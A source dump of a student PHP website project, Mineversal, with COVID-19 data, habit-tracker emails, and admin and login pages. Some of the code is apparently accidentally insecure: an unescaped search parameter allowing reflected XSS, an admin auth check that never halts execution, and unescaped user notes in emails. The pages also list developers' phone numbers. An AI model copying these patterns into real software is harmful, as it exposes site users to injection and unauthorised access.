<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script>
$(".slider").owlCarousel({
loop: true,
autoplay: true,
autoplayTimeout: 2000, //2000ms = 2s;
autoplayHoverPause: true,
responsiveClass: true,
margin:10,
responsive:{
0:{
items:1,
nav:true,
dots: false
},
600:{
items:2,
nav:false,
dots: false
},
1000:{
items:3,
nav:false,
dots: false
}}
});
</script>
<script src="user/assets/js/index.js" type="text/javascript"></script>
<script src="user/framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
</html><file_sep>/user/worlddata.php
<?php require_once("auth.php"); ?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<head>
<link rel="stylesheet" href="assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link rel="shortcut icon" href="assets/img/logo1.png"/>
<title>Mineversal | World Data COVID-19</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
.container h1, tr, tb {
color: white;
}
#country {
width: 100%;
height: 50px;
font-size: 25px;
}
</style>
</head>
<body>
<header id="bar" class="barheader sticky">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="account" class="nav-link"><i class="fa fa-fw fa-user"></i> MY ACCOUNT</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> LOGOUT</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div class="container mb-5 pt-5">
<h1 class="text-center mt-5">World Data COVID-19 Realtime</h1>
<br><br>
<table class="table table-striped bg-dark">
<thead>
<tr id="data">
<table class="table table-striped bg-dark">
<thead>
<tr>
<th >Total Cases</th>
<th >Total Deaths</th>
<th >Total Recovered</th>
</tr>
</thead>
<tbody>
<tr id="dt01">
</tr>
</tbody>
</table>
</tr>
</thead>
</table>
<button type="button" onclick="refreshdata()" class="btn btn-warning">Refresh</button>
<br>
<h1 class="text-center mt-5">Search Country</h1>
<br>
<form class="row mx-auto" id="formku">
<input type="text" class="col-9" id="country" placeholder="Country Name">
<button type="submit" class="col-3" value="Get Data">Search</button>
</form>
<br>
<table class="table table-striped bg-dark">
<thead>
<tr id="data">
<table class="table table-striped bg-dark">
<thead>
<tr>
<th >Total Cases</th>
<th >Total Deaths</th>
<th >Total Recovered</th>
</tr>
</thead>
<tbody>
<tr>
<td id="kasus"></td>
<td id="meninggal"></td>
<td id="sembuh"></td>
</tr>
</tbody>
</table>
</tr>
</thead>
</table>
</div>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script src="assets/js/content.js" type="text/javascript"></script>
<script src="framework/js/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="framework/js/bootstrap.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
init()
function init(){
var url = "https://api.covid19api.com/summary"
var data = ''
$.get(url,function(data){
console.log(data.Global)
data = `
<td>${data.Global.TotalConfirmed}</td>
<td>${data.Global.TotalDeaths}</td>
<td>${data.Global.TotalRecovered}</td>
`
$('#dt01').html(data)
});
}
function refreshdata() {
clearData()
init()
}
function clearData(){
$("#dt01").empty()
}
</script>
<script>
const form = document.getElementById("formku")
form.addEventListener('submit',function(e){
e.preventDefault()
var country =document.getElementById("country").value
var url = "https://api.covid19api.com/dayone/country/"+country
covidData(url)
})
async function covidData(url){
let resp = await fetch(url)
let data = await resp.json()
let length = data.length
let index = length - 1
let confirmed = document.getElementById('kasus')
let recovered = document.getElementById('sembuh')
let deaths = document.getElementById('meninggal')
confirmed.innerHTML = ""
recovered.innerHTML = ""
deaths.innerHTML = ""
confirmed.append(data[index].Confirmed)
recovered.append(data[index].Recovered)
deaths.append(data[index].Deaths)
}
</script>
</html><file_sep>/admin/user.php
<?php
require_once("auth.php");
include('includes/config.php');
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="https://tugas.mineversal.com/user/assets/css/account.css" type="text/css"/>
<link rel="stylesheet" href="https://tugas.mineversal.com/user/assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="https://tugas.mineversal.com/user/framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="shortcut icon" href="https://tugas.mineversal.com/user/assets/img/logo1.png"/>
<title>Admin | User List</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
.sidebar a:hover {
text-decoration: none;
}
tr, td, a {
color: white;
}
hr {
border-color: white;
}
.clearfix a:hover {
color: black;
background-color: #ddd;
}
.sidebar {
position: fixed;
top: 0;
bottom: 0;
left: 0;
z-index: 1;
padding: 48px 0 0; /* Height of navbar */
box-shadow: inset -1px 0 0 rgba(0, 0, 0, .1);
}
.sidebar-sticky {
position: relative;
top: 0;
height: calc(100vh - 48px);
padding-top: .5rem;
overflow-x: hidden;
overflow-y: auto; /* Scrollable contents if viewport is shorter than content. */
background-color: #333;
}
@media (max-width: 767.98px) {
.sidebar {
padding: 0 0 0;
top: 3.1rem;
}
}
@supports ((position: -webkit-sticky) or (position: sticky)) {
.sidebar-sticky {
position: -webkit-sticky;
position: sticky;
}
}
.sidebar .nav-link {
font-weight: 500;
color: #333;
}
.sidebar .nav-link .feather {
margin-right: 4px;
color: #333;
}
.sidebar .nav-link.active {
color: white;
}
.sidebar .nav-link:hover .feather,
.sidebar .nav-link.active .feather {
color: inherit;
}
.sidebar-heading {
font-size: .75rem;
text-transform: uppercase;
}
.navbar .navbar-toggler {
top: .25rem;
right: 1rem;
}
#nav-custom {
z-index: 2;
}
</style>
</head>
<body>
<header id="bar" class="barheader">
<nav class="nav navbar navbar-dark flex-md-nowrap shadow p-2 navbar-expand-lg" id="nav-custom">
<button class="navbar-toggler navbar-toggler-left d-md-none collapsed navbar-toggler-size" type="button" data-toggle="collapse" data-target="#sidebarMenu" aria-controls="sidebarMenu" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="#"><img class="my-auto mx-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="update" class="nav-link"><i class="fa fa-fw fa-user"></i> Edit Account</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="password" class="nav-link"><i class="fa fa-fw fa-key"></i> Change Password</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> Logout</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</nav>
</header>
<div class="container-fluid">
<div class="row">
<nav id="sidebarMenu" class="col-md-3 col-lg-2 d-md-block sidebar collapse" id="nav-custom">
<div class="sidebar-sticky pt-3">
<ul class="nav flex-column">
<li class="nav-item my-auto buttonbar active">
<a class="nav-link active" href="dashboard"><i class="fa fa-fw fa-home"></i> Dashboard</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link active" href="user"><i class="fa fa-fw fa-user"></i> User</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link active" href="post"><i class="fa fa-fw fa-folder"></i> Post</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link active" href="komentar"><i class="fa fa-fw fa-comment"></i> Comments</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link active" href="feedback"><i class="fa fa-fw fa-envelope"></i> Feedback</a>
</li>
</ul>
</div>
</nav>
<main role="main" class="col-md-9 ml-sm-auto col-lg-10 px-md-4 kanan">
<div class="container-fluid mb-5 pt-5">
<h2 class="mt-5">User List</h2>
<div class="row">
<div class="col-sm-12">
<div class="card-box">
<div class="table-responsive">
<table class="table table-colored table-centered table-inverse m-0 bg-dark">
<thead>
<tr>
<th>ID</th>
<th>Nama</th>
<th>Username</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<?php
$query=mysqli_query($kon,"SELECT id as id, name as name, username as username, email as email FROM user");
$rowcount=mysqli_num_rows($query);
if($rowcount==0){
?>
<tr>
<td colspan = "4" align="center"><h3 style="color:red">No record found</h3></td>
</tr>
<?php
} else {
while($row = mysqli_fetch_array($query))
{
?>
<tr>
<td><?php echo htmlentities($row['id']);?></td>
<td><?php echo htmlentities($row['name']);?></td>
<td><?php echo htmlentities($row['username']);?></td>
<td><?php echo htmlentities($row['email']);?></td>
</tr>
<?php } }?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</main>
</div>
</div>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script src="https://tugas.mineversal.com/user/assets/js/content.js" type="text/javascript"></script>
<script src="https://tugas.mineversal.com/user/framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="https://tugas.mineversal.com/user/framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
</html><file_sep>/user/config.php
<?php
$host="localhost";
$user="minevers_root";
$password="<PASSWORD>";
$db="minevers_mineversal";
$kon = mysqli_connect($host,$user,$password,$db);
if (!$kon){
die("Koneksi gagal:".mysqli_connect_error());
}
?><file_sep>/user/testmail.php
<?php
include_once("config.php");
if (!$kon -> query("SELECT * FROM habit JOIN user ON user.id = habit.id_user")) {
echo("Error description: " . $kon -> error);
}
if ($result = mysqli_query($kon, "SELECT habit.nama_habbit, user.email, habit.catatan, habit.catatan_besok FROM habit JOIN user ON user.id = habit.id_user")) {
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
$to = $row["email"];
$from = '<EMAIL>';
$fromName = 'Mineversal';
$namaHabit = $row["nama_habbit"];
$catatan = $row["catatan"];
$catatanBesok = $row["catatan_besok"];
$subject = "Habit Tracker";
$htmlContent = '
<html>
<head>
<title>Habit Tracker Reminder</title>
</head>
<body>
<img src="https://tugas.mineversal.com/user/assets/img/logo.png" height="42">
<h4>Halo! Kami ingin mengingatkan untuk tetap semangat dalam habit nya ya!</h4>
<table cellspacing="0" style="border: 2px dashed #FB4314; width: 100%;">
<tr>
<th>Habit Name:</th><td> '. $namaHabit .'</td>
</tr>
<tr style="background-color: #e0e0e0;">
<th>Catatan:</th><td>'. $catatan .'</td>
</tr>
<tr>
<th>Catatan Besok:</th><td>'. $catatanBesok .'</td>
</tr>
<tr style="background-color: #e0e0e0;">
<th>Website:</th><td><a href="https://tugas.mineversal.com">Mineversal</a></td>
</tr>
</table>
</body>
</html>';
// Set content-type header for sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// Additional headers
$headers .= 'From: '.$fromName.'<'.$from.'>' . "\r\n";
$headers .= 'Cc: -' . "\r\n";
$headers .= 'Bcc: -' . "\r\n";
// Send email
mail($to, $subject, $htmlContent, $headers);
echo 'email sent.';
}
}
}
/*$from = "<EMAIL>";
$to = "<EMAIL>";
$subject = "Checking PHP email";
$message = "PHP mail works just fine";
$headers = "From" . $from;
mail($to, $subject, $message);
echo "The email message was sent";*/
?><file_sep>/admin/auth.php
<?php
session_start();
if (!isset($_SESSION["admin"])) {
?>
<script language="JavaScript">
alert('Maaf Admin, Login ulang lagi ya :)');
document.location='https://tugas.mineversal.com/admin';
</script>
<?php
}
?><file_sep>/user/aboutus.php
<?php
require_once("auth.php");
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="stylesheet" href="assets/css/style.css">
<script src="framework/js/jquery-3.5.1.slim.min.js" type="text/JavaScript"></script>
<script src="framework/js/owl.carousel.min.js"></script>
<link rel="stylesheet" href="framework/css/owl.carousel.min.css">
<link rel="shortcut icon" href="assets/img/logo1.png"/>
<title>Mineversal | About Us</title>
<style>
html {
scroll-behavior: smooth;
}
body {
font-family: 'Alegreya';
font-size: 18.6px;
background-color: rgb(27, 27, 27);
height: auto;
}
#cont p, #cont h1, #cont h2, .title, .sub-title {
color: white;
font-family: 'Alegreya';
font-size: 18.6px;
}
#cont hr {
border-color: white;
}
#slider {
z-index: 0;
}
.card {
flex: 1;
margin: 0 10px;
background: rgb(36, 34, 34)
}
.card .img {
width: 100%;
}
.card .img img {
height: 100%;
width: 100%;
object-fit: cover;
}
.card .content {
padding: 10px 20px;
}
</style>
</head>
<body>
<header id="bar" class="barheader sticky">
<nav class="nav navbar navbar-expand-lg navbar-dark" id="nav-custom">
<div class="container-fluid">
<a class="navbar-brand" href="#"><img class="my-auto" src="https://tugas.mineversal.com/user/assets/img/logo.png" width="200px"></a>
<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="https://tugas.mineversal.com/user/#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="account" class="nav-link"><i class="fa fa-fw fa-user"></i> MY ACCOUNT</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> LOGOUT</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div id="cont" class="container-fluid mt-5 pt-5">
<div class="row">
<div class="col-md-12">
<?php if($error_same){ ?>
<div class="alert alert-danger" role="alert"><strong>Username dan Email sudah terdaftar!</strong> <?php echo htmlentities($error_same);?></div>
<?php } ?>
<?php if($msg_reg){ ?>
<div class="alert alert-success" role="alert"><strong>Data Kamu Berhasil Tersimpan!</strong> <?php echo htmlentities($msg_reg);?></div>
<?php } ?>
<?php if($error_reg){ ?>
<div class="alert alert-danger" role="alert"><strong>Yah Maaf!</strong> <?php echo htmlentities($error_reg);?></div>
<?php } ?>
<?php if($error_log){ ?>
<div class="alert alert-danger" role="alert"><strong>Password Salah!</strong> <?php echo htmlentities($error_log);?></div>
<?php } ?>
<?php if($error_conf_psw){ ?>
<div class="alert alert-danger" role="alert"><strong>Password dan Konfirmasi Password Tidak Sama!</strong> <?php echo htmlentities($error_conf_psw);?></div>
<?php } ?>
<?php if($error_not_user){ ?>
<div class="alert alert-danger" role="alert"><strong>Maaf Kamu tidak terdaftar!</strong> <?php echo htmlentities($error_not_user);?></div>
<?php } ?>
<div class="card">
<div class="img"><img src="assets/img/Mineversal.jpg" alt="Mineversal"></div>
<div class="content">
<div class="title">ABOUT US</div>
<div class="sub-title">PROJECT FLOW</div>
<hr>
<p>Selamat Datang di Website Pertama Kami, Mineversal, Mineversal memiliki makna yaitu
"milik bersama" karena ini merupakan Project gabungan yang dibuat oleh satu tim berisikan
5 orang yaitu Zidan, Ivana, Nadya, Azhar, dan Gading dan dikembangkan bersama-sama. Website
ini dibuat untuk memenuhi persyaratan kelulusan dari Mata Kuliah Pemrograman Web. Pengembangan
dimulai pada tanggal 15 September dengan menentukan ide dari Project website yang kami ingin
buat ini, dari semua ide yang telah dipaparkan terdapat 3 ide utama yang ingin kami fokuskan
di web ini yaitu, Travelling Online, Data COVID-19 dan juga Habbit Tracker. Desain Sistem, UI/UX
mulai dibuat pada tanggal 20 September 2020 oleh Nadya. Setelah UI/UX dibuat Pembangunan dan
pengembangan prototype dimulai pada tanggal 27 September 2020 dengan menggunakan Native CSS dan
belum menggunakan Framework yang dibuat oleh Nadya dan juga Ivana. prototype tersebut kemudian
dirapihkan dan juga dibuat lebih responsive oleh Azhar. desain dan pembuatan database dibuat
pada tanggal 5 Oktober 2020 yang dibuat oleh Gading dan Zidan pun mulai membuat script back
end untuk menghubungkan database dengan prototype web kami. fitur login berhasil dibuat dan
setelahnya kami mulai menambahkan fitur utama dan juga fitur pendukung untuk melengkapi web kami.
13 Oktober kami mulai mencoba mengonlinekan website kami dan web kami pun mulai online dan dapat
diakses oleh orang dari berbagai dunia. Online Travelling ditambahkan sebagai fitur dikarenakan
kami sebagai mahasiswa mendukung penuh kebijakan pemerintah terhadap kondisi pandemi ini yang
mengharuskan masyarakat tetap dirumah atau work from home, dengan dibuatnya fitur Online
Travelling ini kami berharap dapat membantu kebijakan pemerintah dan juga membantu masyarakat
yang merasa jenuh dirumah untuk berlibur secara daring lewat berbagai artikel liburan yang telah
kami tulis di web ini. Untuk fitur data COVID-19 itu merupakan fitur untuk memberitahukan kepada
masyarakat secara terbuka persebaran dari COVID-19 agar masyarakat dapat semakin berhati-hati
dalam menjalankan aktivitasnya diluar rumah. Untuk fitur Habbit Tracker sendiri ialah fitur untuk
mengingatkan aktivitas dan keseharian masyarakat selama dirumah, pengingatnya berupa email dari
web kami yang akan dikirimkan kepada email masing-masing user dari web kami. Terima Kasih,
Silahkan Manfaatkan fitur yang ada di web kami.<p>
</div>
</div>
</div>
</div>
<br>
<h2 class="text-center">DEVELOPER TEAM</h2>
<hr>
<div class="row">
<div class="col-md-12">
<div id="slider" class="owl-carousel owl-theme slider slideshow">
<div class="card">
<div class="img"><img src="assets/img/nadya.jpeg" alt="Nadya"></div>
<div class="content">
<div class="title">Nadiya <NAME></div>
<div class="sub-title"></div>
<p class="text-center">As UI/UX Designer and Front End Developer</p>
<div class="btn">
<a class="call" href="https://instagram.com/amnndya">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="assets/img/ivana.png" alt="Ivana"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Content Researcher and Front End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281296932033">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="assets/img/azhar.jpg" alt="Azhar"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Project Manager and Full Stack Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281317441991">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="assets/img/gading.jpeg" alt="Gading"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Data Researcher and Back End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281294201579">Contact</a>
</div>
</div>
</div>
<div class="card">
<div class="img"><img src="assets/img/zidan.jpeg" alt="Zidan"></div>
<div class="content">
<div class="title"><NAME></div>
<div class="sub-title"></div>
<p class="text-center">As Feature Inovator and Back End Developer</p>
<div class="btn">
<a class="call" href="https://wa.me/+6281906852062">Contact</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script>
$(".slider").owlCarousel({
loop: true,
autoplay: true,
autoplayTimeout: 2000, //2000ms = 2s;
autoplayHoverPause: true,
responsiveClass: true,
margin:10,
responsive:{
0:{
items:1,
nav:true,
dots:false
},
600:{
items:3,
nav:false,
dots:false
},
1000:{
items:5,
nav:false,
dots:false
}}
});
</script>
<script src="assets/js/index.js" type="text/javascript"></script>
<script src="framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
</html><file_sep>/aboutus.php
<?php
if(!isset($_SESSION)) {
session_start();
}
if(isset($_SESSION["user"])) {
header('Location: '.$uri.'/user/aboutus');
}
require_once("admin/config.php");
if(isset($_POST['register'])){
$name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING);
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = password_hash($_POST["password"], PASSWORD_DEFAULT);
$konf_password = password_hash($_POST["konf_password"], PASSWORD_DEFAULT);
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$sql = "SELECT * FROM user WHERE username=:username OR email=:email";
$stmt = $db->prepare($sql);
$params = array(
":username" => $username,
":email" => $email
);
$stmt->execute($params);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user) {
$error_same = "Silahkan Gunakan Username atau email yang lain";
} else {
if (($_POST["password"]) != ($_POST["konf_password"])) {
$error_conf_psw = "Silahkan Masukkan Password dan Konfirmasi Password Yang Sama";
} else {
$sql = "INSERT INTO user (name, username, email, password) VALUES (:name, :username, :email, :password)";
$stmt = $db->prepare($sql);
$params = array(":name" => $name, ":username" => $username, ":password" => $password, ":email" => $email);
$saved = $stmt->execute($params);
if($saved) {
$msg_reg = "Silahkan Login!";
} else {
$error_reg = "Sepertinya ada yang salah, silahkan coba lagi.";
}
}
}
}
if(isset($_POST['login'])){
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
$sql = "SELECT * FROM user WHERE username=:username OR email=:email";
$stmt = $db->prepare($sql);
$params = array(
":username" => $username,
":email" => $username
);
$stmt->execute($params);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if($user){
if(password_verify($password, $user["password"])){
session_start();
$_SESSION["user"] = $user;
header('Location: '.$uri.'/user/');
} else {
$error_log = "Silahkan Login Ulang";
}
} else {
$error_not_user = "Silahkan Register jika belum punya Akun";
}
}
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="user/assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="user/framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="stylesheet" href="user/assets/css/style.css">
